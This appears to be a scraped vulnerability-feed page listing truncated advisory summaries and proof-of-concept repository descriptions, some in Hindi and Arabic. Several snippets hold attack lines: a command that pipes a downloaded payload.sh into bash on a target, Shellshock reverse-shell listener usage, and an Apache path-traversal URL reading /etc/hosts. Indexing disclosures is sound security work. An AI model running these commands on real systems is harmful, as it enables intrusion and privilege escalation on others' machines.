PT-2026-106759

A security flaw has been discovered in vllm-project vLLM up to 0.31.0. This impacts the function get token bin counts and mask of the file vllm/model executor/layers/utils.py of the component Penalty Handler. Performing a manipulation results in denial of service. Remote exploitation of the attac...

PT-2026-106709

Name of the Vulnerable Software and Affected Versions GNU Aspell versions prior to 0.60.8.3 Description The prezip-bin utility contains a heap-based buffer overflow in the decompressor located in prog/prezip.c. The decompressor fails to properly validate buffer space, allowing a specially crafted...

PT-2026-106300

Name of the Vulnerable Software and Affected Versions TOTOLINK X6000R version 9.4.0cu.652 B20230116 Description An OS command injection flaw exists in the UploadFirmwareFile Handler component. A remote, unauthenticated attacker can exploit this by manipulating the file name parameter within the...

copyfail-deconstructed

copyfail-deconstructed CVE-2026-31431 का आसानी से समझ में आने वाला संस्करण, एक विशेषाधिकार वृद्धि तकनीक जो किसी को भी रूट बनने की अनुमति देती है। मूल प्रूफ-ऑफ-कॉन्सेप्ट यहाँ पाया जाता है: https://github.com/theori-io/copy-fail-CVE-2026-31431, लेकिन इसे काफी संकुचित और छोटा किया गया है ताकि इसका...

CVE-2024-22752

EaseUS MobiMover 6.0.5 Build 21620 - असुरक्षित फ़ाइलें और फ़ोल्डर अनुमतियाँ MobiMoverUILaunch.exe विशेषाधिकार वृद्धि elevation of privileges भेद्यता से ग्रस्त है, जिसका उपयोग कोई "Authenticated User" सेवा की निष्पादन योग्य फ़ाइल को bin फ़ोल्डर के अंतर्गत अपनी पसंद के बाइनरी से संशोधित करने के लिए...

cve-2021-41773-and-cve-2021-42013

cve-2021-41773 और cve-2021-42013 cve-2021-41773 और cve-2021-42013 बैच सत्यापन पायथन स्क्रिप्ट चलाने का वातावरण: python3 उपयोग: python3 poc.py url.txt url.txt में जाँचने योग्य url रखें, जिनमें कमजोरी है वे success.txt में लिखे जाएँगे सत्यापन सामग्री बहुत सरल है, get अनुरोध...

CVE-2014-6271

CVE-2014-6271 python2.7 ابدأ الاستماع على جهازك. nc -l -p 4444 شغّل سكربت بايثون وفق القاعدة أدناه: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 استمتع...

Astra Linux – Vulnerability in TeXeVe-bin

It was discovered that texlive-bin commit c515e contains a heap buffer overflow vulnerability through the function ttfLoadHDMX:ttfdump. This vulnerability allows attackers to cause a Denial of Service DoS by providing a malicious TTF file...

CVE-2026-105284

A weakness has been identified in Totolink A3002MU 1.0.0-B20230403.1455. The impacted element is the function sub40FCFC of the file /bin/boa of the component Authentication Check. Executing a manipulation can lead to improper authorization. The attack may be launched remotely. The exploit has bee...

CVE-2026-105284 Totolink A3002MU Authentication Check boa sub_40FCFC improper authorization

A weakness has been identified in Totolink A3002MU 1.0.0-B20230403.1455. The impacted element is the function sub40FCFC of the file /bin/boa of the component Authentication Check. Executing a manipulation can lead to improper authorization. The attack may be launched remotely. The exploit has bee...

CVE-2026-105284

The Totolink A3002MU (version 1.0.0-B20230403.1455) is vulnerable to improper authorization due to a weakness in the sub_40FCFC function of the /bin/boa file within the Authentication Check component. An attacker can launch a remote manipulation to bypass authorization controls. Public exploit co...

EUVD-2026-92331

A weakness has been identified in Totolink A3002MU 1.0.0-B20230403.1455. The impacted element is the function sub40FCFC of the file /bin/boa of the component Authentication Check. Executing a manipulation can lead to improper authorization. The attack may be launched remotely. The exploit has bee...

CVE-2026-105284: Improper Authorization

A weakness has been identified in Totolink A3002MU 1.0.0-B20230403.1455. The impacted element is the function sub40FCFC of the file /bin/boa of the component Authentication Check. Executing a manipulation can lead to improper authorization. The attack may be launched remotely. The exploit has bee...

exploitApache

exploitApache CVE-2021-41773 के लिए एक्सप्लॉइट:Path Traversal cgi-bin...

metasploitable2-privilege-escalation

Task 05 — Privilege Escalation Zyroo Cybersecurity Internsh...

cgi-bin-shellshock

كيفية الاستخدام استنساخ المستودع أو مجرد نسخ ولصق الذي تفضله sudo git clone https://github.com/Gurguii/shellshock.sh تشغيل السكربت Bash bash shellshock.sh -u -h -p Python python3 shellshock.py -u -lh -lp ملاحظة: المنفذ الافتراضي هو 4444، عنوان URL مطلوب. إذا تم إعطاء عنوان URL فقط، فسيقوم بـ RCE،...

CVE-2024-32019-poc

CVE-2024-32019-poc إثبات المفهوم لـ Netdata ndsudo قم ببناء الثنائي: go build -ldflags "-s -w" -o nvme poc.go upx nvme شغل السكربت bash: bash exploit.sh على الجهاز الهدف، قم بتشغيل في دليل قابل للكتابة: curl http://:8000/payload.sh | bash سيقوم تلقائيًا بتنزيل ثنائي nvme، وتصدير المسار، وتشغيل...

Cgi-bin_bash_Reverse

Cgi-binbashReverse CVE-2014-6271 के लिए POC स्रोत:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

CVE-2021-41773

https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts id: CVE-2021-41773 info: name: Apache 2.4.49 Exploit author: numanturle severity: high requests: - method: GET path: - "BaseURL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" matchers-condition: and matchers: - type: regex regex: -...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 के लिए POC & लैब लैब सेटअप $ git clone https://github.com/0xc4t/CVE-2021-41773 $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773 PoC RCE curl...